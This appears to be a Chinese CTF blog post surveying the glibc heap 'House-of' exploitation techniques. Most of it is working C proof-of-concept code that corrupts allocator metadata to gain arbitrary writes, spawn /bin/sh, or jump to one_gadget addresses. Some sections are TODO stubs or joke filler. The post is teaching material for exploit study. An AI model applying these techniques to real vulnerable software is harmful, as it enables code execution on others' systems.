House-of-* 是对堆漏洞利用的一系列技术,起源于一篇叫做 Malleus Maleficarum(也有一本中世纪的时候有关女巫的条约的书叫做女巫之槌)的文章。

Malleus Maleficarum

House of Prime (glibc-2.3.5)

TODO

(X86 EXPLOITATION 101: THIS IS THE FIRST WITCHY HOUSE)

void
_int_free(mstate av, Void_t* mem)
{
    mchunkptr       p;           /* chunk corresponding to mem */
    INTERNAL_SIZE_T size;        /* its size */
    mfastbinptr*    fb;          /* associated fastbin */
    ...

    p = mem2chunk(mem);
    size = chunksize(p);

    if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
        || __builtin_expect ((uintptr_t) p & MALLOC_ALIGN_MASK, 0))
    {
        errstr = "free(): invalid pointer";
      errout:
        malloc_printerr (check_action, errstr, mem);
        return;
    }

House of Mind (glibc-2.3.5)

TODO

(X86 EXPLOITATION 101: “HOUSE OF MIND” – UNDEAD AND LOVING IT…)

public_fREe(Void_t* mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  void (*hook) (__malloc_ptr_t, __const __malloc_ptr_t) = __free_hook;
  if (hook != NULL) {
    (*hook)(mem, RETURN_ADDRESS (0));
    return;
  }

  if (mem == 0)                              /* free(0) has no effect */
    return;

  p = mem2chunk(mem);

#if HAVE_MMAP
  if (chunk_is_mmapped(p))                       /* release mmapped memory. */
  {
    munmap_chunk(p);
    return;
  }
#endif

  ar_ptr = arena_for_chunk(p);
#if THREAD_STATS
  if(!mutex_trylock(&ar_ptr->mutex))
    ++(ar_ptr->stat_lock_direct);
  else {
    (void)mutex_lock(&ar_ptr->mutex);
    ++(ar_ptr->stat_lock_wait);
  }
#else
  (void)mutex_lock(&ar_ptr->mutex);
#endif
  _int_free(ar_ptr, mem);
  (void)mutex_unlock(&ar_ptr->mutex);
}

House of Force

Modify top chunk to control buffer.

(X86 EXPLOITATION 101: “HOUSE OF FORCE” – JEDI OVERFLOW)

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#define offset1 0x601080 - 0x10 - 0x602020 - 0x10
#define offset2 0x7fffffffdf10 - 0x10 - 0x6014f0 - 0x10

char buf1[50] = "Original Buffer (bss).";

int main() {
    void *p, *q;
    char buf2[50] = "Original Buffer (stack).";
    p = malloc(0x18);
    *(uint64_t *)((uint64_t)p + 0x18) = -1; // Set top chunk's size = 0xffffffffffffffff
    malloc(offset1);
    q = malloc(0x48);
    puts(buf1);
    memset(q, 'X', strlen(buf1));
    puts(buf1);

    /*
    p = malloc(0x18);
    *(uint64_t *)((uint64_t)p + 0x18) = -1; // Set top chunk's size = 0xffffffffffffffff
    malloc(offset2);
    q = malloc(0x48);
    puts(buf2);
    memset(q, 'Y', strlen(buf2));
    puts(buf2);
    */
    exit(0);
}

House of Lore

Use the mechanism of smallbin to control buffer. (maybe Smallbin Attack)

(X86 EXPLOITATION 101: “HOUSE OF LORE” – PEOPLE AND TRADITIONS)

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

void sh() {
    system("/bin/sh");
    exit(0);
}

int main() {
    void *p, *q, *r, *s, *t;
    char buf1[0x20], buf2[0x20];
    fprintf(stderr, "buf1 => %p\n", buf1);
    fprintf(stderr, "buf2 => %p\n", buf2);

    p = malloc(0x68);
    fprintf(stderr, "p = malloc(0x68) => %p\n", p);
    *(uint64_t *)((uint64_t)buf1 + 0x10) = (uint64_t)p - 0x10; // Set buf1's fd = p - 0x10
    *(uint64_t *)((uint64_t)buf1 + 0x18) = (uint64_t)buf2; // Set buf1's bk = buf2
    *(uint64_t *)((uint64_t)buf2 + 0x10) = (uint64_t)buf1; // Set buf2's fd = buf1

    q = malloc(0x408);
    fprintf(stderr, "q = malloc(0x408) => %p\n", q);
    free(p);
    r = malloc(0x508);
    fprintf(stderr, "r = malloc(0x508) => %p\n", r); // Trigger malloc_consolidate
    *(uint64_t *)((uint64_t)p + 0x8) = (uint64_t)buf1; // Set p's bk = buf1
    s = malloc(0x68);
    fprintf(stderr, "s = malloc(0x68) => %p\n", s); // Get p (The original Freed Chunk)
    t = malloc(0x68);
    fprintf(stderr, "t = malloc(0x68) => %p\n", t); // Allacte to Stack
    uint64_t sh_addr = (uint64_t)sh;
    memcpy(t + 0x48, &sh_addr, 8);
}

House of Spirit

Free a fake chunk into fastbin. (Stack overflow)

(X86 EXPLOITATION 101: “HOUSE OF SPIRIT” – FRIENDLY STACK OVERFLOW)

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

char target[0x100];

int main() {
    void *p, *mem;
    fprintf(stderr, "Target => %p\n", target);
    p = malloc(0x58);
    mem = (uint64_t *)((uint64_t)target + 0x10); // Get fake chunk's mem
    fprintf(stderr, "fake chunk's mem => %p\n", mem);
    *(uint64_t *)((uint64_t)target + 0x8) = 0x61; // Set fake chunk's size = 0x61
    *(uint64_t *)((uint64_t)target + 0x68) = 0x41; // Set fake chunk's next chunk's size = 0x41
    free(p);
    free(mem);
    fprintf(stderr, "malloc(0x58) => %p\n", malloc(0x58));
    exit(0);
}

House of Chaos

(&*^^&%$#%$#**_)+_(_)**(%%^##$@%^^*(%$&*%^$&%%^^&#!@^&_)^&...

Later House

House of Einherjar

Mostly chunk overlapping. (Unlink, Off by One)

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>

int main() {
    char *p, *q, *r, *s;
    p = malloc(0x208);
    q = malloc(0x18);
    r = malloc(0xf8);
    s = malloc(0x18);

    printf("Fake chunk => %p\n", p);
    *(uint64_t *)((uint64_t)p) = 0;
    *(uint64_t *)((uint64_t)p + 0x8) = 0x221; // Fake chunk's size
    // Bypass unlink
    *(uint64_t *)((uint64_t)p + 0x10) = p; // Fake chunk's fd
    *(uint64_t *)((uint64_t)p + 0x18) = p; // Fake chunk's bk

    printf("Off by One\n");
    *(uint64_t *)((uint64_t)q + 0x10) = 0x220; // prev_size
    *(uint8_t *)((uint64_t)q + 0x18) = '\x00'; // Off by One
    free(r); // unlink
    printf("malloc(0x310) => %p\n", malloc(0x318));
    return 0;
}

House of Orange

Create a freed chunk without free() and attack with _IO_FILE structure. (Unsortedbin Attack)

// glibc-2.23 version
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#define _IO_list_all 0x3c5520
#define one_gadget 0xf1147

char fake_vtable[0xa8];

int main() {
    void *p;
    void *fake_file;
    p = malloc(0x18);
    *(uint64_t *)((uint64_t)p + 0x18) = 0xfe1; // Set top chunk's size = 0xfe1
    malloc(0x1000); // Trigger sysmalloc (free top chunk)
    p = malloc(0x500); // Get a unsortedbin-chunk
    uint64_t libc_base = (uint64_t)(*(uint64_t *)p) - 0x3c5188;
    fprintf(stderr, "leak libc => %p\n", libc_base);

    uint64_t unsorted_bin_chunk_addr = (uint64_t)p + 0x500;
    fake_file = unsorted_bin_chunk_addr;
    uint64_t IO_list_all_addr = libc_base + _IO_list_all;
    // Create fake file (also a fake smallbin)
    *(uint64_t *)((uint64_t)fake_file + 0x8) = 0x61; // _IO_read_ptr ; Set smallbin's size ; Fake _chain @ `&unsortedbin + 0x68`
    *(uint64_t *)((uint64_t)fake_file + 0x18) = IO_list_all_addr - 0x10; // _IO_read_base ; For Unsoredbin Attack
    // Bypass _IO_overflow_t
    *(uint64_t *)((uint64_t)fake_file + 0xc0) = 0; // _mode
    *(uint64_t *)((uint64_t)fake_file + 0x28) = 1; // _IO_write_ptr
    *(uint64_t *)((uint64_t)fake_file + 0x20) = 0; // _IO_write_base
    *(uint64_t *)((uint64_t)fake_file + 0xd8) = fake_vtable; // vtable

    uint64_t one_gadget_addr = libc_base + one_gadget;
    *(uint64_t *)((uint64_t)fake_vtable + 0x18) = one_gadget_addr; // __overflow
    malloc(1); // Trigger malloc_printerr
    exit(0);
}

House of Rabbit

TODO

(recommend P4nda’s article)

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

char target[0x50] = "Orignial Buffer.";
char buf[0x40];

int main() {
    void *p, *q;
    fprintf(stderr, "Target: %s\n", target);
    p = malloc(0xa00008);
    free(p);
    p = malloc(0xa00008);
    free(p);

    p = malloc(0x28);
    q = malloc(0x88);
    free(p);
    *(uint64_t *)((uint64_t)buf + 0x8) = 0x11; // Set Fake Chunk1's size = 0x11
    *(uint64_t *)((uint64_t)buf + 0x18) = -0xf; // Set Fake Chunk2's prev_size = 0xfffffffffffffff1
    *(uint64_t *)((uint64_t)p) = (uint64_t *)((uint64_t)buf + 0x10); // Set Fastbin Chunk's fd = Fake Chunk2
    free(q); // Trigger malloc_consolidate

    *(uint64_t *)((uint64_t)buf + 0x18) = 0xa00001; // Set Fake Chunk
    malloc(0xa00000);
    *(uint64_t *)((uint64_t)buf + 0x18) = -0xf; // Set Fake Chunk

    int offset = (uint64_t)&target - ((uint64_t)buf + 0x10) - 0x20;
    p = malloc(offset);
    fprintf(stderr, "p = malloc(offset) => %p\n", p);
    void *victim = malloc(0x18);
    strcpy(victim, "Hacked.");
    fprintf(stderr, "Target: %s\n", target);
    exit(0);
}

House of Roman

Partial write to control PC. (Off by One, Fastbin Attack, Unsortedbin Attack, etc)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#define libc_base 0x7ffff7a0d000
#define __malloc_hook libc_base+0x3c4b10
#define one_gadget libc_base+0xf02a4

int main() {
    void *p, *q, *r, *s, *u, *v;
    p = malloc(0x18);
    q = malloc(0xc8);
    r = malloc(0x68);
    *(uint64_t *)((uint64_t)q + 0x68) = 0x61;
    free(q);
    q = malloc(0xc8); // Get Unsortedbin addr
    s = malloc(0x68);
    u = malloc(0x68); // For fixing Fastbin
    v = malloc(0x68); // For triggering malloc_printerr
    *(uint8_t *)((uint64_t)p + 0x18) = 0x71; // Off by One

    free(r);
    free(s);
    *(uint8_t *)((uint64_t)s) = 0x20; // Point s's fd to q
    *(uint16_t *)((uint64_t)q) = (__malloc_hook - 0x23) & 0xffff; // Point q's fd to `&__malloc_hook - 0x23`
    fprintf(stderr, "malloc(0x68) => %p\n", malloc(0x68));
    fprintf(stderr, "malloc(0x68) => %p\n", malloc(0x68));
    p = malloc(0x68); // Get the chunk @ `&__malloc_hook - 0x23`
    free(u);
    *(uint64_t *)((uint64_t)u) = 0; // Set Fastbin's fd = 0 to fix Fastbin

    q = malloc(0xc8);
    fprintf(stderr, "malloc(0x18) => %p\n", malloc(0x18));
    free(q);
    // Unsortedbin Attack
    *(uint16_t *)((uint64_t)q + 0x8) = (__malloc_hook - 0x10) & 0xffff; // Point q's bk to `&__malloc_hook - 0x10`
    fprintf(stderr, "malloc(0xc8) => %p\n", malloc(0xc8));
    // Partial Write one_gadget
    *(uint16_t *)((uint64_t)p + 0x13) = one_gadget & 0xffff;
    *(uint8_t *)((uint64_t)p+ 0x15) = (one_gadget >> 16) & 0xff;
    free(v);
    free(v); // Trigger malloc_printerr
    exit(0);
}

House of Botcake (>= glibc-2.26)

Bypass double free restriction on tcache. (Double Free, Chunk Overlapping)

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

void *ptr[7];
char buf[0x20];

int main() {
    void *p;
    fprintf(stderr, "target => %p\n", buf);
    for (int i = 0; i < 7; i++) { // Fillup Tcache
        ptr[i] = malloc(0x108);
    }
    p = malloc(0x108);
    void *victim = malloc(0x108);
    malloc(0x18); // padding

    for (int i = 0; i < 7; i++) {
        free(ptr[i]);
    }
    free(victim); // Add to unsortedbin
    free(p); // Consolidate with victim

    malloc(0x108); // get a chunk from Tcache & put victim into Tcache
    free(victim); // Double free
    p = malloc(0x128);
    *(uint64_t *)((uint64_t)p + 0x110) = buf; // Overwrite victim's fd = buf
    malloc(0x108);
    p = malloc(0x108);
    fprintf(stderr, "p = malloc(0x108) => %p\n", p);
    exit(0);
}

House of Corrosion

TODO

References

https://www.youtube.com/watch?v=dooN6X28daI
https://ctf-wiki.github.io/ctf-wiki/
https://github.com/shellphish/how2heap
https://darkwing.moe/2019/07/18/Pwn%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B023-heap%E4%B8%8Emalloc-1/


ctf pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Basic Kernel Exploitation
Linux Sandbox - Setuid